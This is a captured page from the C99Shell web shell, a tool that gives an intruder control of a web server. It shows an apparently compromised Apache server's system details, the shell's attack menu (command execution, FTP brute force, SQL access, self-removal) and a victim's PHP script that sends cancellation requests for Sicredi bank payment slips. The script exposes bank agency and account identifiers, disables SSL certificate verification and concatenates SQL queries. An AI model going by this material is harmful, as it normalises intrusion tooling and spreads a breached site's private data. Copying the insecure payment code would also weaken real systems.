!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/cobrancaRegistrada/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fix.php (2.84 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
require_once 'inc_Conexao.php'
    include(
'./includes/inc_sicrediAutenticacaoWS.php'); 
    
//require_once 'includes/HTTP/Request2.php';
    
    
$sqlC 
                    SELECT CTW_ChaveTransacao
                    FROM IRP_RegistroChaveTransacaoWS
                    WHERE CTW_AtivoSN = 'S' 
                "
;
    
$rs_queryC mysql_query($sqlC);
    
$rst_queryC mysql_fetch_array($rs_queryC);
    
$chaveTransacao $rst_queryC["CTW_ChaveTransacao"];

    
$sql "SELECT * FROM irpen1br.irp_servicos_boletos where SVB_DataVencimento >= '2022-04-01' and SVB_EntradaConfirmadaRegistroSN = 'S'";

    
// RELACIONA OS BOLETOS PARA REGISTRO
    
$rs_query mysql_query($sql);
    
$cedente      "00981";            
    
    while (
$rst_query mysql_fetch_array($rs_query))
    {    
        
$idPedido                $rst_query['SVB_RowID'];
        
$nossoNumero            $rst_query['SVB_NossoNumeroWS'];


        
$conteudo = array(
            
'agencia'                => '0751',
            
'posto'                    => '02',
            
'cedente'                => "$cedente",
            
'nossoNumero'            => "$nossoNumero",
            
'instrucaoComando'      => "PEDIDO_BAIXA"
        
);       


        
$request = new HTTP_Request2('https://cobrancaonline.sicredi.com.br/sicredi-cobranca-ws-ecomm-api/ecomm/v1/boleto/comandoInstrucao');
        
$request->setMethod(HTTP_Request2::METHOD_POST);
 
        
$request->setConfig(
            array( 
                
'ssl_verify_peer'   => FALSE,
                
'ssl_verify_host'   => FALSE
            
)
        );
 
        
$request->setHeader(
            array( 
                
'token' => "$chaveTransacao",
                
'Content-Type' => 'application/json' 
            
)
        );
 
        
$request->setBody(json_encode($conteudo)); // com JSON
         
echo "<pre>"print_r($request); echo "</pre>";
 
        try {
            
$response $request->send();
            
$stringRetorno $response->getBody();
            echo 
"<pre>"print_r($response); echo "</pre>";

            
$sql "UPDATE `irpen1br`.`irp_servicos_boletos` SET `SVB_EnvioWSSN`='N', `SVB_EntradaConfirmadaRegistroSN`='N', `SVB_BoletoRegistradoSN`='N', `SVB_NossoNumeroWS`='0', `SVB_LinhaDigitavelWS`='0', `SVB_RegistroConfiguracaoComunicacaoWS_DR`='0', `SVB_EmailEnviado`='0' WHERE `SVB_RowID`= " $idPedido;
            
mysql_query($sql);           

        } catch (
HttpException $ex){
            
            echo 
"<br><br> Retorno (erro): ";
            
var_dump($ex);
        }        

        
print_r($conteudo);

        
$retorno_01 str_replace('}'''$stringRetorno);
        
$retorno_01 str_replace('{'''$retorno_01);
        
$retorno_01 str_replace(',"''#'$retorno_01);
        
$retorno_01 str_replace('"'''$retorno_01);    
        
$retorno_02 explode('#'$retorno_01);
    
        for(
$i=0$i<23$i++)
        {
            
$retorno_03 explode(':'$retorno_02[$i]);
            
            if (
$retorno_03[3])
            {
                
$retorno_04[$retorno_03[0]] = $retorno_03[2] . $retorno_03[3];
            }else{
                
$retorno_04[$retorno_03[0]] = $retorno_03[1];
            }
        }

        
        
// FORMATA A STRING DE RETORNO
        
$stringRetornoFormatada '';    
        foreach(
$retorno_04 as $nCampo => $valor
        {
            
$stringRetornoFormatada .= $nCampo ' => ' $valor "";
        }
        

    }


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0035 ]--